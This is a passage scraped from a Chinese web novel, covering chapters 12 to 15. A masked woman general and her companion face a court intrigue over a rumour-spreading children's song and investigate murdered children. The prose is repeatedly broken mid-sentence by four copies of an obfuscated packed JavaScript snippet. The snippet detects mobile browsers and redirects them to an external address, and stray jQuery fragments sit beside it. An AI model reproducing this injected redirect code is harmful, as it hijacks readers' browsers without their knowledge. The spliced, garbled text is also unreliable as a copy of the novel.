应如是岂会让它得逞，军营中烈马无数，没有哪一匹不是被她训得服服帖帖的。几番僵持之后，马渐渐失了力气，终于平静下来。 马夫感激涕零，连声道谢，应如是交代了几句后让他牵马离开了。 刘舞起在一旁鼓掌：“不愧是大将军，此等英姿我等凡人是不可及的。” 应如是白了她一眼，一番驯马下来早已大汗淋漓，刚想问她有没有带汗巾，一只纤纤玉手伸了过来，手里攥着一方刺绣锦帕。 应如是抬眼一看，面前之人正是江若微。 “如若公子不嫌弃，就用妾的帕子吧。”刚一说完，她的脸上便染上了一抹红霞，眼神也躲躲闪闪的，不敢正眼瞧人。 应如是显然没有预料到她会出现，有些措手不及，后知后觉地接过帕子，胡乱在脸上抹了一把，忽又意识到脸上抹了厚重的粉，便不再擦脸，转而去擦脖子。 刘舞起难得见她这副蠢样，笑得背过身去。 江若微也没想到他会如此认真地擦汗，脸上的红晕又加重了许多。 “你这厮，还不把我家小姐的帕子还回来！”江若微身旁的婢女眼神不善地看着应如是。 应如是看着帕子上沾染了一些斑驳的痕迹有些迟疑，然而婢女已经伸手抢走了。 “春台！”江若微蹙眉看着她，虽有愠怒，但声音依旧娇软。 婢女春台不敢违逆，不情不愿地将帕子还给应如是。 应如是拱手道：“这位小姐，是在下无状，弄脏了绣帕，若不嫌弃，在下去买块新帕子，权当赔罪。” “这帕子是我家小姐亲手绣的，你赔得起吗？” 春台又开始嚷嚷，刘舞起实在忍不下去了，劈头盖脸地一顿训斥道：“你这婢子好生无礼，你家主人还没发话呢，就着急跳出来骂骂咧咧的，也不看看自己是个什么东西！” 一番话说得春台面红耳赤，敢怒不敢言，连带着江若微都有些不自在。 应如是赶紧使了个眼色让其闭嘴，又解释道：“小姐莫怪，我这好友向来心直口快，如有冒犯，还请不要往心里去。” 江若微欠了欠身，低头捂脸一言不发地跑走了，春台瞪了应、刘二人两眼后也追了上去。 “我这是搞砸了吗？”刘舞起看向应如是，不确定地问道。 应如是深深叹了口气：“你这脾气可以改改了。” 另一边，朝堂上也是风波不平。坊间的童谣传得沸沸扬扬，最终还是惊动了朝堂。 有言官启奏：“近日坊间流言四起，定是有心之人想要动摇国之根基，若不加以制止，恐危及国祚。” “不过是黄口小儿的几句戏语，何足为惧？有些言官莫要借此生事，扰乱朝堂秩序。”户部尚书傅令舟辩驳道。 “傅大人此言差矣。俗话说无风不起浪，事出必有因，如若等闲视之，后果可是你我能承受的？”吏部尚书常怀远不怀好意地暗讽道，“傅大人不愿作为，难不成是想包庇此人？” “你莫要信口雌黄、搬弄是非，这里是朝堂，不是你的勾栏院！”傅令舟直骂道，“污蔑我不打紧，应将军乃国之功臣，岂是你这个手无缚鸡之力的文官可以议论的？” 常怀远被气得说不出话来，其余官员也都噤若寒蝉，害怕被殃及。 这傅令舟是出了名的能言善辩，再加上敢于直言的性子，鲜有朝臣能在口舌上从他那讨到便宜。 景和帝按住额角，似乎有些乏了，这事在他看来早有定论，于是抬眼看了满堂朝臣，终于选中一人问道：“江爱卿怎么看？” 江明渊回道：“回陛下，坊间事虽小，但也是天下事。流言猛于虎也，既不可信也不可传，若是听之任之，长此以往，必然使民心不稳，动摇国之根本。故微臣认为应遏止童谣散播，同时严惩造谣生事者，以示天威。” 此话正中他的心怀，景和帝眉目微舒，下令道：“此事便交于你去办，其余人等从旁协助。” 应如是不用上朝，自然是不知道朝堂之事，但有人会让她知晓。回府后不久，西院便来人传话，说明心想请将军移步一叙。 和尚难得有事找她，定然是极要紧之事，应如是也不耽搁，立马赶过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154682|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 房中香烟袅袅，一股淡淡的古檀木香萦绕鼻尖，令人心旷神怡。明心已经备好茶水，应如是也不拘束，在他对面落座。 “近日京中有首广为流传的童谣，将军可有耳闻？”明心问道。 “略知一二。”应如是饮下一口茶，心想：原来是为这事。前些天在街上时不时听到有孩童唱起，却不知已然盛行。词不知是何人所作，听来倒是朗朗上口，令人记忆深刻。 “将军一点都不担心？”这般淡然自若倒是出乎他的意料。 “若只是童谣，不足为虑，只怕对方还有后招。”应如是如实说道，“先前我已让手下去调查了。” 二人一时无话，只有茶水煮开的咕隆声格外清晰。带着茶香的水汽氤氲开来，模糊了视野，即使距离很近，也无法彻底看清对方。 “上次的事情，多谢。”应如是干巴巴地吐出这几个字，反而让此间气氛更为尴尬。 明心垂眸不语，只是一味地喝茶。 “但不管你有何目的，我的事情还请你不要插手，我这个人不喜欢莫名其妙地欠别人人情，特别是来路不明的人。”应如是意有所指，但点到为止。 自从崖底一夜后，他们之间就一直维持着一种微妙的关系。 应如是早已发誓不去招惹他，自认为与他再无人情往来，原以为他也是这么想的，然而最近发生的一些事却一度让应如是产生了怀疑。 到底是有意还是无意，她无从分辨，只有一点就是她很不喜欢现在这个局面。 “我并无恶意。”这句话听来不像是辩解，更像是无奈。 “我知道，但我这人骄傲得很，您的大恩大德，我受不起也还不起。你是个聪明人，应该知晓我的脾性，若是与我坦诚相待，另当别论；若是别有所图，恕不奉陪。” 这话虽然有几分刻薄，但却句句在理。应如是的性子向来如此，与其藕断丝连，不如快刀斩乱麻，总好过被人当作棋子，玩弄于股掌之间。 良久，明心像是终于读懂了话中之意，缓缓开口道：“如你所愿。” 人走茶凉，静室里只剩一人独坐，身影寂寥惆怅，仿佛与生俱来就是如此。 这时，从屋顶上跳下来一个人，看着年纪不大，脸上还有些许稚气，他的身形异常敏捷，翻窗进入屋内，在明心面前站定，嘴里还嘟囔着：“这人不识好歹，真是枉费了公子的一番心意。” 明心看了他一眼，那人立马住口，身板也挺直了不少。 “童谣一事查的如何了？” “有些眉目了，只是那人的身份尚未确定。” “到此为止，以后不必再查了。” 此话一出，那人有些不乐意了，倒不是因为追查的事，而是他感觉公子好像被人牵着鼻子走。 “公子为何要听她的话？不过是一个不知深浅的粗鄙丫头，公子何必受这种人的气？” “云川！”明心难得声色俱厉。 这个名叫云川的侍卫似是委屈极了，一个人站在墙角处，半天没吭声。 明心恍惚间仿佛看到了静尘，心里像是被针扎了一下，眼眶渐渐温热。 一向寡言少语的他忽然启唇解释道：“这里不是南庆，万事都要谨慎，当心祸从口出，你还年幼，有些事情不懂。” 云川的心情瞬间好了许多，他将要翻窗而去，回身又看了一眼明心。 “又有何事？” “刚才忘记说了，还有一拨人也在调查这事，但是以他们的能力，估计半年都查不出什么结果。” “那就暗中给他们透点消息。” 13. 第十三章 每月初一和十五的街市最热闹，京中人将这两天称作“过节”。 这两天京中各大街道都挤满了卖货郎，不仅有本国的，还有一些云游的外地商贩也会过来摆摊。 幻术、杂耍、木雕、口技、皮影、面人、漆扇……好玩的、好吃的、好看的应有尽有，吸引了四方游客慕名前来。 这两天也是光昭府巡捕司最忙碌的时候，不仅要沿街巡视、维持秩序，还要捉拿趁火打劫、小偷小摸之人。 天子治下的这二十几年，京中鲜有大案，一些鸡皮蒜皮的小案就算不去处置也闹不出什么大风浪，故而衙门中的捕快常年懈怠，渐渐都成了偷懒耍滑的酒囊饭袋。 就算是“过节”这两天，他们也能躲在哪里喝酒赌钱，真正当差尽职的没几人，其中一人便是杨展。 作为刚上任不久的捕快，他资历尚浅，加上为人过于耿直，处事不够圆滑，所以衙门里的老人们都不喜欢他，连同期的新人也不待见他。 这天傍晚，他刚巡街完毕，正要回衙门交差，一个瘸腿老妇人忽然窜出来，扯住他的衣袖哭诉道：“官爷，求求你救救我的孙儿。” 杨展一听，立马提了精神，将人带到附近的茶棚里，安抚道：“大娘，您别急，好好跟我说说。” 她的孙子名叫刚子，今天一大早便和隔壁王三家的铁柱上街玩去了，然而到了下午也不见回来。 “去隔壁家问了，王三说他们早就分开了。”老妇人满脸焦急，“官爷，你说我家孩子不会出什么事了吧？最近不太平，听说有好几户家的孩子都失踪了。” 杨展心中纳罕：若真是如此，怎会一点风声都没有？ “大娘，您先回去，这件事我先上报，孩子一定会帮您找的。” “一定要帮帮我。”老妇人再三嘱咐后才蹒跚离去。 杨展记下了她家的位置，立马去衙门汇报。然而，他几乎问遍巡捕司的同僚，都没人知晓此事。 安义坊，位于光昭府的西边，是京中最底层人的聚集地。每次过节，坊间的孩子便会约好一起上街玩。 戚晚晚是这群孩子中年纪最小的，也是最贪玩的，再加上平日里父亲管教太严，那些孩子总是不带着她。 这天，她瞒着父亲一大早便跟在他们后面。很快她就被发现了，众人将这个其围在中间，居高临下地看着她—— 她的头上扎着两个小辫，串着铃铛，走起路来叮叮作响；嘴里总是塞满了各种吃食，粉嫩的脸颊鼓鼓的，像个藕粉丸子。 “晚晚，你怎么又跟来了？赶紧回去，不然戚伯伯会担心的。” “我要去玩！”晚晚眨巴着一双乌溜溜的大眼睛哀求道，“哥哥姐姐们行行好，就带我这一次好不好？” 耐不住女娃的软磨硬泡，几个年纪大一点的孩子便做主带上了她。 街上人来人往、热闹非凡，各种新奇好玩的东西吸引了孩子们的目光，很快他们便四散开来，没人注意到戚晚晚是什么时候走丢的。 糖画摊前，手艺人巧手匠心，糖浆如丝如缕在他手里蜿蜒交织、栩栩成型。戚晚晚看着一个兔子形状的糖画，一脸渴望。 手艺人拿起竹签，和颜悦色道：“小姑娘，你是不是想要这个？” “晚晚喜欢，但是晚晚没钱。”戚晚晚可怜兮兮地回道。 “那回去找你爹娘要啊。” 戚晚晚静默了许久，手艺人见状欲将竹签插回去，却被斜刺里伸出的一只手抓住了。 “钱给你。”一个布衣男子朗声道，“既然小姑娘喜欢，送她一个又何妨？” 男子俯下身子将糖画递给晚晚，还温柔地摸了摸她的脑袋。 晚晚冲他甜笑一声：“谢谢伯伯。” “糖葫芦喜欢吃吗？伯伯带你去吃。” 戚晚晚犹豫了一下，但见他笑容温暖而和煦，看着不像是坏人，最后还是牵上了他的手。 光昭府衙门前聚了很多人，京中哑了许久的登闻鼓在这天终于响了。 尚在熟睡中的光昭府尹钱书臣被衙役唤起，听到禀告后如同晴天霹雳。外面的鼓声如同催命符一般，他慌忙换上官服到前厅，看到乌压压的一群人又是两眼一黑。 “让他们别敲了，速速将他们引至公堂。”钱书臣提着銙带急道。 众人过堂，在堂下跪了一片。 “堂下何人？有何冤屈？”钱书臣一拍惊堂木。 为首那人将状纸递了上去，陈述道：“草民戚卓斗胆状告巡捕司，我们几家的孩子失踪已有数日，去巡捕司求助，但衙内官差却敷衍塞责、毫无作为，百般无奈之下这才上诉公堂，请府尹大人为我们做主。” “巡捕司的蔡总捕何在？”钱书臣问道。 不多时，一个满身酒气的老头被押上公堂。他醉得不轻，浑然不知身处何处，满口胡言乱语。 这个样子连钱书臣也看不下去了，虽然他知道下属衙司怠慢公务，但是大白天就醉成这样的实在出乎他的意料。 “来人，将他泼醒。”钱书臣命令道。 一盆冷水从头淋到脚，蔡总捕一个激灵，破口骂道：“是哪个兔崽子干的好事？” 当他看到端坐于公堂上已然面色铁青的钱书臣之时，差点吓晕过去。 “钱……拜见钱大人。”蔡总捕哆嗦着，身子几乎要伏到地里去了。 “大胆蔡总捕，青天白日竟然醉酒如斯，看本官不治你一个渎职之罪！”钱书臣气道。 蔡总捕开始哭诉：“卑职知罪，还望大人宽宥。” “近日京中有多名幼童失踪，巡捕司可知晓此事？” “回禀大人，卑职不知。” 堂下有一名老妇气愤道：“怎会不知？半个多月前老婆子我就和一个姓杨的捕快说过此事。” “传杨捕快。” 很快，一个穿着一身玄色劲装、腰间佩戴一柄短刀、头戴黑色纱质小帽的男子走上公堂。 只见他一双星目迥然有神、走起路来步步生风，一看便知道他和衙门中那些混迹的草包不同，让钱书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154683|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣眼睛一亮。 “卑职杨展拜见钱大人。” “这位老妇你可认得？” “认得。半月前她与卑职说起她家孙子失踪一事，央求卑职帮忙寻找。”杨展看了一眼身旁怒目而视的蔡总捕，又言道，“只是卑职将此事上报，请派人手搜寻，无奈衙门无一人出动；卑职又请示蔡总捕，蔡总捕却百般推诿，卑职只能自行寻找，但京中坊市众多，此举无疑是大海捞针。” 这一字一句都在控诉，让蔡总捕冷汗直冒。他原本以为只要咬死不认，衙门中的那些人自会“见机行事”，谁料竟然出了这么个不服管教的东西。 既然事情已经抖了出来，为今之计只能坦白从宽，这钱书臣又是个性子软的，说不定还能逃过一劫……蔡总捕一时间想出了无数种脱罪的法子。 “钱大人，卑职死不足惜，只是孩童失踪事关重大，还望大人给卑职和巡捕司一个机会将功补过。” 钱书臣沉吟不语，看向堂下众人问道：“诸位觉得如何？” “只要寻到人，我们也就不计较了。”堂下百姓一阵议论后，戚卓回道。 巡捕司着人画了全部失踪孩童的画像，出动了所有的捕快和衙役，花了半个月的时间几乎查遍了京中门户，但都没有发现。这些孩童好似人间蒸发了一样，一点痕迹都没有留下。 虽然守城侍卫对这些孩童并无印象，但杨展却有一种奇怪的直觉：这些孩童早已不在京中了。 于是，在所有人的目光还集中在城内之时，他一个人去了城外。 城郊三里外的一座废弃神庙，斑驳的神像早已没有了往日的慈眉善目，看着倒有几分阴森可怖。 落满灰尘的供桌、蛛网遍布的房梁、荒草蔓生的大殿，无一不透露出此处已经许久未有人至。 “看来也不是这里。”杨展正要离去，目光却被某一处所吸引。 很快，钱书臣率领官差赶到神庙，里面的情状令人目不忍睹—— 从神像下面的暗道里运出十几具孩童的尸体，他们浑身惨白，脖颈处皆有一道伤口，死状出奇的一致。 百姓们闻风而来，一下子晕过去好几个。钱书臣不得不让官差堵在神庙门口，避免闲杂人等进入。 钱书臣心如火煎，此事已经远远超出他审理的范围，还需尽快向天子奏表。 “你是如何发现这里的？”钱书臣忽然转身看向有些失神的杨展问道。 “卑职猜测这些孩子已被送出城，故而在城外搜寻，碰巧看到这座神庙，便进来查看。虽然这里看似荒废许久，但卑职发现神像下边的地面上隐约有几道拖拽的痕迹，于是找到了这道暗门。”杨展如实交代。 “你可真行啊！”钱书臣指着他又急又气道。 他本想借此案博个好名声，没想到却招来了一道催命符，恐怕这次不仅乌纱帽难保，连性命都堪忧。 “大人，这些孩童的尸体该如何处置？”一名衙役问道。 “大理寺的人还没到吗？”钱书臣反问道。 14. 第十四章 孩童被杀一案惊动朝野，天子震怒，不仅罢了钱书臣的官职，还将光昭府下属衙司相关人等全部下狱，并限大理寺半个月之内勘破此案。 此案传到民间引起惊天波澜，京中各家门户但凡有幼童者皆人人自危，宁愿将自家孩子绑在家里，也不允许出门，所以街上几乎瞧不见一个孩童。 这边，应如是让人调查童谣案一事终于有了进展，据探子来报，有人曾撞见过童谣的散播者，但是未见其真容，只记得此人随身携带的腰牌，并绘了图纸传过来。 图纸上腰牌的样式是残缺的，边缘处镶有祥云纹，牌上的字也不全，只有三个字，还被遮了一大半。 “这画的是什么啊？”刘舞起抱怨了一句。 应如是也没有头绪，只是莫名感觉有些熟悉，似是在哪里见过。 “算日子，今日江小姐又要出门，你还要去吗？”刘舞起问道。 “那是自然。” 刘舞起跟着她已有十余天，渐渐摸清了江若微的习惯，她每隔三、五天就要去书铺还书，是个嗜书如命的人。 刘舞起看着她仔细上好妆，几次欲言又止，心里琢磨着：这样的日子几时才能到头？ 谁知，她们刚出门便遇上倒霉事，一个蓬头垢面、衣衫褴褛的乞丐直直朝着应如是身上撞去。 应如是一个侧身，避开了正面冲击，还顺手将他扶稳站好。 乞丐佝偻着身子，一直揪着应如是的袖子道歉，声音如同木头锯裂般沙哑难听。 应如是见状，从钱袋中拿出二两银子塞进他手里：“拿着这些钱买吃的去吧。” 乞丐这才松开手，朝应如是看了一眼后缓缓离去。 应如是看着他的背影有些出神，刘舞起不明所以地问道：“那乞丐有何特别之处吗？” “你刚刚应该也看到了吧？” “嗯，他的左侧鬓角处有一块青色胎记。” “你可眼熟？” “一个京中的乞丐，我怎会认识？”刘舞起理所当然地答道。 “他倒是让我想起了一个人……可能是我眼花了。”应如是喃喃自语。 江若微果然又去了德馨堂，在里面待了一个时辰才出来。 她今天心情似乎不错，出了书铺后并没有直接回去，而是在街上闲游，应、刘二人跟随其后，看着她在这边胭脂摊买了胭脂，又去旁边首饰店买了耳坠子。 刘舞起一路唉声叹气，应如是几次劝退，都没能让她离开。 不知何时起，江若微身后多了几个可疑的尾随者。 刘舞起刚要动手，但被应如是拦下了：“且等等，看看他们到底想要做什么？” 在一个巷子的转角处，那些人忽然一拥而上，将人堵在了巷子里。 “你们是谁？想要做甚？”春台挡在江若微面前，气势汹汹地质问道。 这些人流里流气的，一看就是地痞流氓，其中一人猥琐笑道：“这小妞脾气火辣，身子也不错，很对我胃口。” 他肆无忌惮地将春台全身上下扫视了一遍后还不满足，又上前放肆用手摸了一把春台的脸蛋。春台尖叫了一声，几乎要晕过去。 “尔等放肆，我可是礼部尚书的千金，你们不怕掉脑袋吗？”江若微虽有惧色，但还是站出来斥责道。 几人相视了几眼，面有迟疑，似乎有所顾忌。 江若微见状，又继续道：“若是放我们离开，此番便不与你们计较。” “原来是官家小姐，是我等有眼无珠，冲撞了贵人。”其中一人赔笑道。 “还不让开！”江若微斥道。 几人让出一条道让主仆二人通行，江若微走在前面，春台跟在后面。眼看着二人就要到巷子口，忽然一股力量又将她们扯了回来。 二人踉跄着差点摔倒，春台怒道：“你们到底是何居心？” 原本恭敬的他们忽然相视一笑，转眼间变了脸色，一人叉着腰傲慢道：“小娘们，你们说是什么尚书的千金就是了吗？你可知小爷我是何身份？说出来吓死你们，当朝丞相是我的亲爹！” “你们简直不可理喻！”江若微被气得泪眼婆娑。 几人奸笑着朝她们扑过去，肮脏的手就要触到江若微之时，一支竹签穿过一人的耳朵射过去，钉死在前面的墙上。 那人愣了几秒，忽然捂着流血的耳朵，吃痛地说道：“是哪个不长眼的畜生给爷站出来！” “哟，这不是丞相之子吗？怎么这副德行？”巷子口刘舞起咬了一口冰糖葫芦含糊不清地说道。 “是你暗算的小爷？”那人显然有些气急败坏。 “本想赏你糖葫芦吃的，没想到失手将这签子扔出去了。”刘舞起一脸失望地摇了摇头，“不过这样也好，你不是喜欢女人吗？正好给你穿个耳洞，让你也体验体验。” “还愣着干吗？给我上！”那人怒气冲天，跳脚言道。 几人朝着刘舞起攻过来，应如是在她身后，从地上挑了几块称手的石头，头也没抬朝那几人扔过去。 巷子里顿时惨叫连连，路人经过之时都不敢张望，生怕惹了麻烦。 应、刘二人将几人绑了，刘舞起押着人去了衙门。 江若微惊魂未定，见到应如是出现差点哭出来。 “多谢公子出手相救。”江若微转头以帕拭泪，平复好心绪后又道，“上次一别，未及道谢，没想到今日再见，公子又救了妾一次。” “举手之劳，不足挂齿，小姐不必记在心上。”应如是回道。 “妾名唤江若微，是礼部尚书之女，不知公子如何称呼？”江若微问道。 “在下应如是。” 江若微面露惊讶之色：“是那位镇南将军吗？” “正是。” “妾久居深闺，却也知晓将军事迹，将军为国为民，劳苦功高，着实令人钦佩。”江若脸色微红地说道。 “江小姐谬赞了。” “这枚玉佩赠与将军，算是上次婢女出言无状的赔罪。”江若微从腰间取下一枚玉佩递给应如是。 一旁的春台见此刚要言语，江若微看了她一眼，她也就不敢作声了。 这枚玉佩洁白无暇，触手温润，上面雕刻着两条首尾相衔的鲤鱼，一朵莲花绽放其间精妙绝伦，一看便知价值不菲。 “如此贵重的礼物在下受之有愧。”应如是推拒道。 “小姐既然给你了，你就别不识好歹了。”一旁的春台忍不住插话道，“这块玉佩可是小姐的心爱之物，代表着小姐的一片诚心，你若不收，莫不是心里还在记恨？” 江若微难得疾言厉色道：“春台，不得无礼。” “若是将军不愿收下，妾也不勉强。”江若微有些失落地收回手。 “小姐的深情厚谊，却之实为不恭。”应如是郑重地接过玉佩，将它系于腰间。 江若微的脸越发红了，她匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154684|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙向应如是道了别，然后拉着春台的手，头也不回地离开。 在巷口处刚好撞见回来的刘舞起，她也只是微微欠身，再次仓皇而走，宛若身后有什么洪水猛兽。 “她这是怎么了？”刘舞起不明所以地看向应如是，“你对她做了什么？” 应如是对此只是摇摇头，一脸茫然。 回府的路上，刘舞起一直吵着要看玉佩，应如是无奈，只能将玉佩借给她观摩。 “这大户人家的小姐就是不一样，随便一个物件都是极好的。”她的眼中满是歆羨，“不过我记得你好像也有一块贵重的玉佩，与之比起来，哪个更胜一筹？” “这有何可比的？”应如是从她手中抢过玉佩，“这是人家的爱物，你可不要弄坏了。” “不对，不对劲。”刘舞起忽然严肃了起来，“她只见过你两次，就把玉佩赠与你了，你不觉得奇怪吗？” 应如是看了她一眼不吭声，等着她的下文，果然她没忍住说了出来：“你现在外表是个男人，这女子赠玉佩给男子，你说说看是怎么回事？” “……” 刘舞起见应如是一言不发，拔腿就走，赶紧追了上去：“你一个身强体壮的大男人，有小姑娘喜欢，这有什么可害臊的？” 二人一路拌嘴，无人注意到前方不远处有一双眼睛一直注视着她们。 “小心。”应如是疾呼一声，几乎与刘舞起同时后退一步。 只见，一个浑身酒气、满脸胡茬的男人倒在路边，要不是二人及时闪避，恐怕三人都要摔了。 “你今天走的是什么运？怎么一个两个都上赶着往你怀里扑？”刘舞起一脸鄙夷。 “别说风凉话了，还不过来帮忙！”应如是本想将这人扶起来，结果拽了几次他都纹丝不动。 “你这样不行，让我来。”刘舞起一把揪住那人的衣领，对着他的脸狠狠扇了三个巴掌。 那人感觉到疼痛，终于睁开了眼，看着二人一脸迷茫，显然不知道发生了什么。 “能起身吗？”应如是问道。 那人懵懂地点了点头，借着应如是手臂的力量站起来，只是腿脚有些脱力，差点又栽倒在应如是身上。 “多谢二位。”那人站稳后作揖道谢，继续向前走。 “真是个怪人，一介书生大白天竟然喝成这个样子。”刘舞起忍不住非议道。 “确实奇怪。”应如是语气沉沉。 应如是回到府中才说玉佩不见的，玉佩挂在腰间不可能凭空消失，唯一的可能便是被人偷了。 “早知如此，就应该让他醉死在街上，这个狼心狗肺的东西！”刘舞起愤恨地骂道。 “他未必就没有别的办法。”应如是回道。 “你这话是什么意思？”刘舞起片刻反应过来后讶异地问道，“你是怎么看出来的？” “他的脸和脖颈处的肤色有异，显然是戴着假面皮的。”应如是笑了笑，又言道，“况且一个醉汉怎么会只有衣服上沾染酒气，而口中无半分酒气呢？” “那你当时怎么不去追？”刘舞起又道。 “你我的钱袋尚在，可见他的目标很明确。” “你是怀疑他早有预谋？”刘舞起心中一惊，随后隐隐感到不安，似乎有一个巨大的阴谋在朝她们逼近，“那我们现在该怎么办？ “既然有财物丢失，那就去报官。”应如是饮了一口茶，脸上并无惊慌之色。 15. 第十五章 连续几日阴冷，今日忽然放晴，院中的海棠树似是感知到了暖意，竟然抽出了几缕新芽。 应如是难得清闲，在院中摆了张藤椅躺下，正是神思迷离之际，刘舞起的声音如同惊雷乍起，吓得她差点摔倒在地。 “何事如此惊慌？”应如是问道。 “皇帝召你进宫，辇舆都已经到府外了。”刘舞起急道。 “随我去更衣。”应如是移步至室内，心里想着：这个当口被召见，怕不是什么好事。 朝服是第一次穿，应如是还有些不习惯，看着铜镜里映出的自己—— 一身宽大的紫色圆领广袖袍，胸前绣着一只金狮，腰间束以金玉带，将她原本姣好的身形修饰得更加挺拔修长。一顶乌纱幞头帽戴在头上极具威严，看上去很有几分京中权贵的样子。 刘舞起连连赞叹后略有遗憾：“若是没了这碍眼的面具，确实能把朝堂一众糟老头子比下去。” 应如是出了房门，抬头看着空中，原先的暖阳不知何时被云层遮住了，风渐起，空气中隐隐嗅到一丝土壤的腥味，怕是又要下雨了。 绕过海棠树之时，应如是脑中忽然闪过一个画面，于是一个驻足，差点让紧跟其后的刘舞起撞上去。 “舞起，我有一件要紧事需要你亲自去办。”应如是的神色是鲜有的凝重。 刘舞起也觉察到了这点，不再嬉皮笑脸，听她继续言语：“带上那张腰牌图纸去国子监找沈司业，报上‘杜梨’的名号，他自会相见。此事不要声张，暗中进行便是。” “你是怀疑……”刘舞起意识到什么后立马噤声。 “现在一切还未有定论，希望是我想多了。”应如是神色不明。 目送应如是乘上轿辇后，刘舞起也不耽搁，直奔国子监而去。 此时的西院，明心得知应如是进宫后取杯的手停了一下：“终于有动静了。” “公子接下来有何打算？”云川问道。 “被杀孩童的身份确认过了吗？” “如公子所料，皆是唱过童谣的。” 正应了应如是之前所说，如今的孩童被杀案便是那些人的后招。 “树欲静而风不止，且再等等。”明心托着茶杯，望着窗外晃动的树枝出神。 今日朝堂的气氛很不一般，应如是一进殿便感觉到一种无形的威压袭来，压着所有人都喘不过气来。 应如是三呼叩拜后站列于一侧，听景和帝说道：“镇南将军既已到场，薛爱卿可以细说了吧？” 一个长着一张国字脸，蓄着上唇须的中年男子出列，他便是大理寺卿薛茗。 应如是小时候曾见过他几面，印象中他总是不苟言笑，毕恭毕敬地跟在外祖父身后学着断案。外祖父很器重他，只可惜他的天资有限，时常惹得外祖父不悦。 应如是恍神间，他开始阐述案情：“关于京中孩童被杀一案，死者生前疑似都唱过童谣。” “可是先前闹得满城风雨的那首童谣？”景和帝问道。 “回禀陛下，正是。”薛茗回道。 殿内开始骚动起来，各官员开始小声议论，时不时看向应如是。 “肃静，薛爱卿继续。”景和帝说道。 “据仵作验尸得知，几名死者身上并无其它外伤，只有脖颈处一道致命伤，是被人用利器划开所致。除此之外，所有尸体的舌头都被割掉了。神庙中并未发现血迹，而尸体身上的血都流干了，由此可以推断神庙并不是案发现场。” 应如是听完一阵恶寒：不管幕后之人的目的是什么，但以如此残忍的手段对待孩童，除了丧心病狂别无他说。 朝中官员也是极为愤慨，谴责不已。 这时，兵部尚书孙茂腆着肚子站出来说道：“陛下，微臣听说军中对待泄露军情的细作向来施以截舌之刑。” 应如是暗自冷笑：这盆脏水终究还是泼过来了。 景和帝问道：“应爱卿，可是事实？” “回禀陛下，的确有此军规，但如今多以杖毙处之。”应如是答道。 孙茂接着道：“但这条军规并未被废止，是否施行又有何人可以证明？” “孙大人这是何意？非要将本将军牵扯其中才甘心吗？”应如是一语道破他的险恶用心。 “你……你休得胡言！”孙茂一紧张就口吃。 “行了，朝堂之上吵吵嚷嚷成何体统！”景和帝斥责了一句，而后又问，“众爱卿有何看法？” “回禀陛下，微臣以为此案干系重大，疑犯绝非常人，当务之急是要保护好京中孩童免遭迫害。”刑部尚书许汝成进言。 “许爱卿言之有理。”景和帝看向礼部尚书江明渊，“江爱卿，童谣一事查的如何了？” “回禀陛下，传唱童谣的孩童共计三十二名皆登记在册，微臣已遣人一一训导；传谣者五人被押送衙门，责以杖刑；造谣者仍在调查中，相信不日便有结果。微臣欲将名册交予各衙司，也算为此案尽一份力。” 景和帝满意地点了点头：“如此甚好。” 薛茗言道：“既然此案和童谣有牵连，微臣建议合并调查。至于应将军，不管是否参与其中，微臣都希望应将军能移步大理寺配合调查。” “众爱卿可有异议？”景和帝见在场所有官员一致沉默后下令，“既如此，那便依薛爱卿所言。” 出了承天殿才看到外面已是黑云压城，风雨大作，明明是大白天却阴暗得像是入了夜。 “应将军，陛下催得急，不知何时有空前往大理寺？”薛茗追上应如是问道。 没想到薛茗还是个急性子，应如是笑言道：“薛大人莫急，容本将军先回府换身衣物。” 一把轻薄的油纸伞完全经受不住暴雨的侵袭，应如是浑身透湿，样子别提有多狼狈，还好有面具的遮掩，不然脸上的疤痕铁定要露馅。 薛茗的嘴唇紧紧抿成一条线，他不再言语，拱手后便扬长而去，想起过去外祖父称他为“石磙子”，应如是觉得很贴近。 将军府的马车停在宫门外，应如是一上车便看到刘舞起和沈清识分坐两边，气氛有些诡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154685|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 